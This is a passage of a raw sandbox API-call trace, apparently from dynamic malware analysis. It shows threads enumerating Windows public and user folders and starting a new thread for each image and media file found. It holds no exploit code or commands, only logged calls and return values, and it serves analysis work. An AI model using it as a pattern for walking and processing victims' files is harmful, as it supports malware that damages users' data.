Size=0x56) returned 0x44a250 [0049.030] wcscpy (in: _Dest=0x44a250, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0049.030] wcscat (in: _Dest=0x44a250, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0049.030] wcscat (in: _Dest=0x44a250, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" [0049.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a250) returned 1 [0049.030] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0049.030] FindClose (in: hFindFile=0x409d68 | out: hFindFile=0x409d68) returned 1 [0049.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486588) returned 1 [0049.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee0b8) returned 1 [0049.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445220) returned 1 Thread: id = 349 os_tid = 0xc58 [0048.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413e90 [0048.619] wcscpy (in: _Dest=0x413e90, _Source="C:\\Users\\Public\\Documents\\My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0048.619] wcscat (in: _Dest=0x413e90, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0048.619] wcscat (in: _Dest=0x413e90, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*" [0048.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0048.620] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4873f8) returned 1 [0048.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e90) returned 1 [0048.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4450e0) returned 1 Thread: id = 350 os_tid = 0xc5c [0048.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x413e90 [0048.622] wcscpy (in: _Dest=0x413e90, _Source="C:\\Users\\Public\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0048.622] wcscat (in: _Dest=0x413e90, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0048.622] wcscat (in: _Dest=0x413e90, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*" [0048.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0048.622] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.623] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4873f8) returned 1 [0048.623] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e90) returned 1 [0048.623] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 Thread: id = 351 os_tid = 0xc60 [0048.627] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414830 [0048.627] wcscpy (in: _Dest=0x414830, _Source="C:\\Users\\Public\\Documents\\My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0048.627] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0048.627] wcscat (in: _Dest=0x414830, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*" [0048.627] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0048.627] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4873f8) returned 1 [0048.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 [0048.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445270) returned 1 Thread: id = 352 os_tid = 0xc64 [0048.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a5b0 [0048.629] wcscpy (in: _Dest=0x44a5b0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0048.629] wcscat (in: _Dest=0x44a5b0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0048.629] wcscat (in: _Dest=0x44a5b0, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\*" [0048.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0048.630] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a028 [0048.810] wcscmp (_String1=".", _String2=".") returned 0 [0048.810] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.811] wcscmp (_String1="..", _String2=".") returned 1 [0048.811] wcscmp (_String1="..", _String2="..") returned 0 [0048.811] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0048.811] wcscmp (_String1="Chrysanthemum.jpg", _String2=".") returned 1 [0048.811] wcscmp (_String1="Chrysanthemum.jpg", _String2="..") returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400d98 [0048.811] wcscpy (in: _Dest=0x400d98, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0048.811] wcscat (in: _Dest=0x400d98, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0048.811] wcscat (in: _Dest=0x400d98, _Source="Chrysanthemum.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" [0049.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0049.032] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0049.032] wcscmp (_String1="Desert.jpg", _String2=".") returned 1 [0049.032] wcscmp (_String1="Desert.jpg", _String2="..") returned 1 [0049.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420f58 [0049.032] wcscpy (in: _Dest=0x420f58, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.032] wcscat (in: _Dest=0x420f58, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.032] wcscat (in: _Dest=0x420f58, _Source="Desert.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" [0049.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x420f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0049.033] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.033] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.033] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.033] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0049.033] wcscmp (_String1="Hydrangeas.jpg", _String2=".") returned 1 [0049.033] wcscmp (_String1="Hydrangeas.jpg", _String2="..") returned 1 [0049.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46520 [0049.033] wcscpy (in: _Dest=0x5e46520, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.033] wcscat (in: _Dest=0x5e46520, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.033] wcscat (in: _Dest=0x5e46520, _Source="Hydrangeas.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" [0049.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0049.035] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0049.035] wcscmp (_String1="Jellyfish.jpg", _String2=".") returned 1 [0049.035] wcscmp (_String1="Jellyfish.jpg", _String2="..") returned 1 [0049.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e46598 [0049.035] wcscpy (in: _Dest=0x5e46598, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.035] wcscat (in: _Dest=0x5e46598, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.035] wcscat (in: _Dest=0x5e46598, _Source="Jellyfish.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" [0049.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0049.036] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0049.036] wcscmp (_String1="Koala.jpg", _String2=".") returned 1 [0049.036] wcscmp (_String1="Koala.jpg", _String2="..") returned 1 [0049.036] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421818 [0049.036] wcscpy (in: _Dest=0x421818, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.036] wcscat (in: _Dest=0x421818, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.036] wcscat (in: _Dest=0x421818, _Source="Koala.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" [0049.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0049.038] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0049.038] wcscmp (_String1="Lighthouse.jpg", _String2=".") returned 1 [0049.038] wcscmp (_String1="Lighthouse.jpg", _String2="..") returned 1 [0049.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46610 [0049.038] wcscpy (in: _Dest=0x5e46610, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.038] wcscat (in: _Dest=0x5e46610, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.038] wcscat (in: _Dest=0x5e46610, _Source="Lighthouse.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" [0049.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0049.039] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0049.039] wcscmp (_String1="Penguins.jpg", _String2=".") returned 1 [0049.039] wcscmp (_String1="Penguins.jpg", _String2="..") returned 1 [0049.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e46688 [0049.039] wcscpy (in: _Dest=0x5e46688, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.039] wcscat (in: _Dest=0x5e46688, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.039] wcscat (in: _Dest=0x5e46688, _Source="Penguins.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" [0049.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0049.040] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0049.040] wcscmp (_String1="Tulips.jpg", _String2=".") returned 1 [0049.040] wcscmp (_String1="Tulips.jpg", _String2="..") returned 1 [0049.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421b28 [0049.041] wcscpy (in: _Dest=0x421b28, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0049.041] wcscat (in: _Dest=0x421b28, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0049.041] wcscat (in: _Dest=0x421b28, _Source="Tulips.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" [0049.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0049.042] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0049.042] FindClose (in: hFindFile=0x40a028 | out: hFindFile=0x40a028) returned 1 [0049.043] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4873f8) returned 1 [0049.043] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a5b0) returned 1 [0049.043] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a130) returned 1 Thread: id = 353 os_tid = 0xc68 [0048.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a4f0 [0048.633] wcscpy (in: _Dest=0x44a4f0, _Source="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0048.633] wcscat (in: _Dest=0x44a4f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\" [0048.633] wcscat (in: _Dest=0x44a4f0, _Source="*" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\*" [0048.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487660 [0048.633] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a4a8 [0048.633] wcscmp (_String1=".", _String2=".") returned 0 [0048.633] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.633] wcscmp (_String1="..", _String2=".") returned 1 [0048.633] wcscmp (_String1="..", _String2="..") returned 0 [0048.633] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.633] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.633] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.633] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0048.633] wcscmp (_String1="win7_scenic-demoshort_raw.wtv", _String2=".") returned 1 [0048.633] wcscmp (_String1="win7_scenic-demoshort_raw.wtv", _String2="..") returned 1 [0048.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x41aa78 [0048.633] wcscpy (in: _Dest=0x41aa78, 